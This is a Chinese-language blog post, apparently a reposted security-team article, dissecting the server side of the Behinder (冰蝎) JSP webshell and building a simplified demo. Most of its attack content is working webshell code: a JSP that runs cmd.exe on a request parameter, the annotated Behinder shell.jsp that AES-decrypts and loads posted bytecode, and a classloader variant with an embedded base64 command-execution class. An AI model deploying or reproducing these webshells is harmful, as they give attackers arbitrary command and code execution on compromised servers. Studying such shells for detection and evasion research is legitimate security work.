冰蝎 Java服務(wù)端解析
前言
看了一段時間的webshell免殺,由于其他語言的webshell沒啥基礎(chǔ),只對jsp的webshell和冰蝎簡單分析了一下。完成了一個簡化版的冰蝎Demo,主要是學(xué)習(xí)原理,分析的有不對的地方還請師傅們斧正。
冰蝎JSP服務(wù)端解析
在看冰蝎的shell.jsp之前先來回顧下Java最基礎(chǔ)執(zhí)行命令的實現(xiàn)。Java最常見的是通過Runtime.getRuntime().exec("cmd")來實現(xiàn)執(zhí)行系統(tǒng)命令的,如下是一個Demo。 Runtime.getRuntime().exec()實現(xiàn)命令執(zhí)行及輸出:
importjava.io.BufferedReader; importjava.io.IOException; importjava.io.InputStream; importjava.io.InputStreamReader; publicclassCMDExecDemo{ publicstaticvoidmain(String[]args)throwsException{ Processprocess=Runtime.getRuntime().exec("ipconfig"); InputStreamprocessInput=process.getInputStream(); InputStreamReaderinputStreamReader=newInputStreamReader(processInput,"GBK"); BufferedReaderbufferedReader=newBufferedReader(inputStreamReader); StringresLine; while((resLine=bufferedReader.readLine())!=null){ System.out.println(resLine); } inputStreamReader.close(); processInput.close(); } }

JSP實現(xiàn):
<%@page?language="java"?contentType="text/html;?charset=UTF-8"?pageEncoding="UTF-8"??%>
<%@page?import="java.io.*"?%>
<%
String?os?=?System.getProperty("os.name").toLowerCase();
out.print(os);
String?cmd?=?request.getParameter("cmd");
String?line;
if?(cmd?!=?null){
????Process?p?=?Runtime.getRuntime().exec(new?String[]{"cmd.exe","/c",cmd});
????InputStream?ins?=?p.getInputStream();
????InputStreamReader?insr?=?new?InputStreamReader(ins,"GBK");
????BufferedReader?br?=?new?BufferedReader(insr);
????out.print("");
while((line=br.readLine())!=null){
out.print(line+"
");
}
out.print("");
ins.close();
insr.close();
br.close();
p.getOutputStream().close();
}
%>

Behinder JSP Webshell不同于一般的一句話木馬,作者通過自定義類加載器調(diào)用ClassLoader類defineClass方法讓服務(wù)端有了動態(tài)解析字節(jié)碼的能力,添加注釋后的shell.jsp如下。
<%@?page?contentType="text/html;charset=UTF-8"?language="java"?%>
<%@?page?import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
????//自定義類加載器
????class?U?extends?ClassLoader{
????????U(ClassLoader?c){
????????????super(c);
????????}
????????public?Class?g(byte?[]b)
????????{
????????????//調(diào)用父類defineClass方法
????????????return?super.defineClass(b,0,b.length);
????????}
????}
%>
<%
????if?(request.getMethod().equals("POST")){
????????String?k="e45e329feb5d925b";
????????session.putValue("u",k);
????????Cipher?c=Cipher.getInstance("AES");
????????c.init(2,new?SecretKeySpec(k.getBytes(),"AES"));
????????//獲取客戶端數(shù)據(jù)
//????????String?line?=?request.getReader().readLine();
????????//base64解碼客戶端數(shù)據(jù)
//????????byte[]?b?=?new?sun.misc.BASE64Decoder().decodeBuffer(line);
????????//AES解密
//????????byte[]?b1?=?c.doFinal(b);
????????//調(diào)用父類defineClass方法,將傳入數(shù)據(jù)還原為Class對象
//????????U?u?=?new?U(this.getClass().getClassLoader());
//????????Class?clazz?=?u.g(b1);
????????//實例化對象將輸出寫入pageContext
????????//客戶端傳入的字節(jié)碼指向的類中重寫了equals方法傳入pageContext對象,通過pageContext對象
????????//可以間接操作response,將執(zhí)行結(jié)果寫入response返回給客戶端
//????????clazz.newInstance().equals(pageContext);
????????new?U(this.getClass().getClassLoader()).g(c.doFinal(new?sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
????}
%>
關(guān)于自定義類加載器
Java執(zhí)行代碼的過程:程序員編寫的Java代碼通過編譯器編譯成字節(jié)碼文件即.class文件之后交由ClassLoader加載至JVM中被執(zhí)行。 JVM提供了三種類加載器: **Bootstrap classLoader:**主要負(fù)責(zé)加載核心的類庫(java.lang.*等),構(gòu)造ExtClassLoader和APPClassLoader。ExtClassLoader:主要負(fù)責(zé)加載jre/lib/ext目錄下的一些擴展的jarAppClassLoader:主要負(fù)責(zé)加載應(yīng)用程序的主函數(shù)類。 雙親委派機制: 當(dāng)一個Hello.class這樣的文件要被加載時。不考慮自定義類加載器,首先會在AppClassLoader中檢查是否加載過,如果有那就無需再加載了。如果沒有,那么會拿到父加載器,然后調(diào)用父加載器的loadClass方法。父類中同理也會先檢查自己是否已經(jīng)加載過,如果沒有再往上。注意這個類似遞歸的過程,直到到達(dá)Bootstrap classLoader之前,都是在檢查是否加載過,并不會選擇自己去加載。直到BootstrapClassLoader,已經(jīng)沒有父加載器了,這時候開始考慮自己是否能加載了,如果自己無法加載,會下沉到子加載器去加載,一直到最底層,如果沒有任何加載器能加載,就會拋出ClassNotFoundException。
	
ClassLoader中的三個關(guān)鍵方法: ClassLoader.loadClass():雙親委派機制的代碼實現(xiàn)。
publicClass>loadClass(Stringname)throwsClassNotFoundException{ returnloadClass(name,false); } protectedClass>loadClass(Stringname,booleanresolve) throwsClassNotFoundException { synchronized(getClassLoadingLock(name)){ //First,checkiftheclasshasalreadybeenloaded Class>c=findLoadedClass(name); if(c==null){ longt0=System.nanoTime(); try{ if(parent!=null){ c=parent.loadClass(name,false); }else{ c=findBootstrapClassOrNull(name); } }catch(ClassNotFoundExceptione){ //ClassNotFoundExceptionthrownifclassnotfound //fromthenon-nullparentclassloader } if(c==null){ //Ifstillnotfound,theninvokefindClassinorder //tofindtheclass. longt1=System.nanoTime(); c=findClass(name); //thisisthedefiningclassloader;recordthestats sun.misc.PerfCounter.getParentDelegationTime().addTime(t1-t0); sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1); sun.misc.PerfCounter.getFindClasses().increment(); } } if(resolve){ resolveClass(c); } returnc; } }
ClassLoader.defineClass():將byte[]還原為Class對象。
protectedfinalClass>defineClass(Stringname,byte[]b,intoff,intlen,
ProtectionDomainprotectionDomain)
throwsClassFormatError
{
protectionDomain=preDefineClass(name,protectionDomain);
Stringsource=defineClassSourceLocation(protectionDomain);
Class>c=defineClass1(name,b,off,len,protectionDomain,source);
postDefineClass(c,protectionDomain);
returnc;
}
ClassLoader.findClass():供自定義類加載器重寫使用,配合defineClass方法實現(xiàn)自定義加載字節(jié)碼。
protectedClass>findClass(Stringname)throwsClassNotFoundException{
thrownewClassNotFoundException(name);
}
實現(xiàn)自定義類加載器的步驟: 1、繼承ClassLoader類 2、重寫findClass方法 3、調(diào)用defineClass方法 Demo如下: hello.java
publicclasshello{
publicvoidprintHello(){
System.out.println("helloworld!");
}
}
customLoader.java
importjava.io.File;
importjava.io.FileInputStream;
importjava.lang.reflect.Method;
publicclasscustomLoaderextendsClassLoader{
privateStringclassPath;
publiccustomLoader(StringclassPath){
this.classPath=classPath;
}
@Override
protectedClass>findClass(Stringname)throwsClassNotFoundException{
byte[]bytes=newbyte[0];
try{
bytes=loadBytes(name);
}catch(Exceptione){
e.printStackTrace();
}
returnsuper.defineClass(bytes,0,bytes.length);
}
privatebyte[]loadBytes(StringclassName)throwsException{
FileInputStreamfileIns=newFileInputStream(classPath+File.separator+className.replace(".",File.separator).concat(".class"));
byte[]b=newbyte[fileIns.available()];
fileIns.read(b);
fileIns.close();
returnb;
}
publicstaticvoidmain(String[]args)throwsException{
customLoadercustomLoader=newcustomLoader("C:\Users\lixq\Desktop\loaderDemo\src\test\java");
ClassaClass=customLoader.loadClass("hello");
Objecto=aClass.newInstance();
Methodm=aClass.getMethod("printHello");
m.invoke(o);
}
}

有了以上基礎(chǔ),著手將一開始的CMD Webshell改為自定義類加載器方式執(zhí)行: 相較于傳統(tǒng)自定義類加載器的方式,冰蝎更直接地調(diào)用defineClass方法將編碼后class文件還原為Class對象,參照冰蝎的方式可以依照如下步驟來實現(xiàn)CMD Webshell。 1、首先將CMD JSP Webshell編譯為class,然后將class文件base64編碼
	
image.png
2、通過自定義類加載器將base64后class還原為Class對象并加載至jvm執(zhí)行。
<%@?page?import="java.util.Base64"?%>
<%@?page?import="java.lang.reflect.Method"?%>
<%@?page?contentType="text/html;charset=UTF-8"?language="java"?%>
<%
????String?cmd?=?request.getParameter("cmd");
????if?(cmd?!=?null){
????????class?U?extends?ClassLoader{
????????????public?Class?g(){
????????????????String?clsStr?=?"yv66vgAAADQAVAoAFgArBwAsCgACACsKAC0ALgcALwgAMAgAMQoALQAyCgAzADQHADUIADYKAAoANwcAOAoADQA5CgANADoKAAIAOwgAPAoAPQA+CgAKAD4KAAIAPwcAQAcAQQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEACkV4Y2VwdGlvbnMHAEIBAAdleGVjQ21kAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAA1TdGFja01hcFRhYmxlBwBABwAvBwAsBwBDBwBEBwA1BwA4AQAKU291cmNlRmlsZQEAFENNRF9SdW50aW1lRGVtby5qYXZhDAAXABgBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcARQwARgBHAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwASABJBwBDDABKAEsBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyAQADR0JLDAAXAEwBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyDAAXAE0MAE4ATwwAUABRAQABCgcARAwAUgAYDABTAE8BAA9DTURfUnVudGltZURlbW8BABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFY2xvc2UBAAh0b1N0cmluZwAhABUAFgAAAAAAAwABABcAGAABABkAAAAdAAEAAQAAAAUqtwABsQAAAAEAGgAAAAYAAQAAAAYACQAbABwAAgAZAAAAGQAAAAEAAAABsQAAAAEAGgAAAAYAAQAAABIAHQAAAAQAAQAeAAEAHwAgAAIAGQAAAM4ABQAIAAAAaLsAAlm3AANNuAAEBr0ABVkDEgZTWQQSB1NZBStTtgAITi22AAk6BLsAClkZBBILtwAMOgW7AA1ZGQW3AA46BhkGtgAPWToHxgASLBkHtgAQEhG2ABBXp//pGQS2ABIZBbYAEyy2ABSwAAAAAgAaAAAAKgAKAAAAFAAIABUAIQAWACcAFwA0ABgAPwAaAEoAHABZAB4AXgAfAGMAIAAhAAAAJAAC/wA/AAcHACIHACMHACQHACUHACYHACcHACgAAPwAGQcAIwAdAAAABAABAB4AAQApAAAAAgAq";
????????????????byte[]?b?=?Base64.getDecoder().decode(clsStr);
????????????????return?super.defineClass(b,0,b.length);
????????????}
????????}
????????U??u?=?new?U();
????????Class?clazz?=?u.g();
????????Object?obj?=?clazz.newInstance();
????????Method?m?=?clazz.getMethod("execCmd",String.class);
????????String?res?=?(String)?m.invoke(obj,cmd);
????????out.print(res);
????}
%>

總結(jié)
簡單分析了冰蝎Java服務(wù)端的實現(xiàn),如果我們將固定的CMD_RuntimeDemo.class Base64編碼后的字符串改為傳遞參數(shù)傳遞給服務(wù)端,那么服務(wù)端就可以解析我們傳遞的class字節(jié)碼從而在服務(wù)端執(zhí)行任意java代碼,而這正是冰蝎客戶端的核心思路。
審核編輯:湯梓紅
- 
                                JAVA
                                +關(guān)注
關(guān)注
20文章
2994瀏覽量
115356 - 
                                JSP
                                +關(guān)注
關(guān)注
0文章
26瀏覽量
10853 - 
                                服務(wù)端
                                +關(guān)注
關(guān)注
0文章
68瀏覽量
7330 
原文標(biāo)題:參考
文章出處:【微信號:Tide安全團(tuán)隊,微信公眾號:Tide安全團(tuán)隊】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。
發(fā)布評論請先 登錄
TCP服務(wù)端測試工具
?PLC從HTTP服務(wù)端獲取JSON文件,解析數(shù)據(jù)到寄存器
TCP通信時服務(wù)端如何接收客戶端的數(shù)據(jù)?
Delphi教程之建立類型庫編輯DataSnap服務(wù)端
MQTT中服務(wù)端和客戶端
服務(wù)端如何控制客戶端之間的信息通訊
    
Java SpringBoot項目:Node服務(wù)端搭建
    
          
        
        
冰蝎Java服務(wù)端解析
                
 
    
           
            
            
                
            
評論